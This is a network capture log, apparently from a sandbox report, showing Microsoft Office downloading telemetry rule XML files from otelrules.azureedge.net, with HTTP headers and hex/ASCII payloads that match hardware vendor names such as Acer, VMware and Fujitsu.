Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045717Z-164f84587bf28gjzhC1DFW35kg00000005ag000000004x07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: adb9bc2d-c01e-007a-4c7f-38b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045717Z-1866b5c5fbb5hnj5hC1DFW18sc00000005cg00000000kd6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045717Z-16547b76f7fqqjnnhC1DFWxv7400000003qg000000002ya8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: ccb6a3a7-001e-0017-1ab5-370c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045717Z-1866b5c5fbblmztchC1DFWs6v400000003wg000000009m9d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045718Z-1866b5c5fbbkcpv2hC1DFWf1yc00000005ag00000000fkz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a4488d51-301e-0096-053f-38e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045718Z-164f84587bfr8hdmhC1DFWt5nc00000003p0000000002avr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045718Z-16547b76f7fqqjnnhC1DFWxv7400000003mg00000000chkz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045718Z-1866b5c5fbbxjblthC1DFW6b48000000038000000000chm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:18 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045718Z-16547b76f7fht2hfhC1DFWbngg00000005q000000000e1ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:19 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045719Z-1866b5c5fbblmztchC1DFWs6v400000003w000000000a5g5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:19 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045719Z-164f84587bfmxxfphC1DFW3au800000003u0000000006mh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:19 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045719Z-16547b76f7fgvq8chC1DFWhd2w00000005u000000000hwpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 